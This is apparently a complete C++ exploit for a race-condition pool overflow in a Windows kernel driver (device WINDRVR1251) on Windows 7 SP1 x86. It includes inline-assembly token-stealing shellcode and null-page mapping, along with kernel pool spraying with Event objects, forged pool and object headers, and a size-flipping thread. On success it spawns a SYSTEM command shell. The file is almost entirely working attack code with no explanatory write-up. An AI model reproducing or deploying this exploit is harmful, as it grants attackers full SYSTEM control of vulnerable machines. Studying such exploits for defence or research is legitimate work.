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// ConsoleApplication1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>
#define device L"\\\\.\\WINDRVR1251"
#define SPRAY_SIZE 30000
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
/*
* The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
__declspec(naked) VOID TokenStealingShellcode() {
__asm {
hasRun:
xor eax, eax; Set zero
cmp byte ptr [eax], 1; If this is 1, we have already run this code
jz End;
mov byte ptr [eax], 1; Indicate that this code has been hit already
; initialize
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
; begin system token search loop
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
End :
ret 0x10; cleanup for cdecl
}
}
BOOL map_null_page()
{
/* Begin NULL page map */
HMODULE hmodule = LoadLibraryA("ntdll.dll");
if (hmodule == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't get handle to ntdll.dll\n");
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
if (AllocateVirtualMemory == NULL)
{
printf("[x] Couldn't get address of NtAllocateVirtualMemory\n");
return FALSE;
}
SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
&address,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf("[x] Error mapping null page\n");
return FALSE;
}
printf("[+] Mapped null page\n");
return TRUE;
}
/*
* Continually flip the size
* @Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
printf("[+] Flipping thread started\n");
while (TRUE)
{
*(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
}
return 0;
}
DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;
HANDLE hdevice = CreateFile(device,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
if (hdevice == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't open device\n");
}
NTSTATUS ret = DeviceIoControl(hdevice,
0x95382623,
user_buff,
0x1000,
out_buff,
40,
&bytes_returned,
0);
CloseHandle(hdevice);
return 0;
}
void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L"");
}
for (int i = 0; i < SPRAY_SIZE; i+=50)
{
for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
{
CloseHandle(handle_arr[j + i]);
handle_arr[j + i] = 0;
}
}
}
void free_events(HANDLE handle_arr[])
{
for (int i = 0; i < SPRAY_SIZE; i++)
{
if (handle_arr[i] != 0)
{
CloseHandle(handle_arr[i]);
}
}
}
BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
HANDLE htoken;
DWORD length;
DWORD temp;
DWORD new_count;
PTOKEN_PRIVILEGES current_priv = NULL;
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
{
printf("[x] Couldn't get current token\n");
return FALSE;
}
//get the size required for the current_priv allocation
GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);
//allocate memory for the structure
current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);
//get the actual token info
GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
new_count = current_priv->PrivilegeCount;
HeapFree(GetProcessHeap(), 0, current_priv);
CloseHandle(htoken);
temp = old_count; //store the old count
*updated_count = new_count; //update the count
if (new_count > old_count)
{
printf("[+] We now have %d privileges\n", new_count);
return TRUE;
}
else
return FALSE;
}
int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
HANDLE handle_arr[SPRAY_SIZE] = { 0 };
DWORD mask = 0;
DWORD orig_priv_count = 0;
char *user_buff;
check_priv_count(-1, &orig_priv_count);
printf("[+] Original priv count: %d\n", orig_priv_count);
if (!map_null_page())
{
return -1;
}
*(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;
user_buff = (char *)VirtualAlloc(NULL,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL)
{
printf("[x] Couldn't allocate memory for buffer\n");
return -1;
}
memset(user_buff, 0x41, 0x1000);
*(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
/*
* create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
* Set its priority to highest.
* Set its mask so that it runs on a particular core.
*/
h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf("[+] Starting race...\n");
spray_pool(handle_arr);
while (TRUE)
{
h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_ioctl_thread, 1);
ResumeThread(h_ioctl_thread);
WaitForSingleObject(h_ioctl_thread, INFINITE);
free_events(handle_arr); //free the event objects
if (check_priv_count(orig_priv_count, &orig_priv_count))
{
printf("[+] Breaking out of loop, popping shell!\n");
break;
}
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
spray_pool(handle_arr);
}
system("cmd.exe");
return 0;
}
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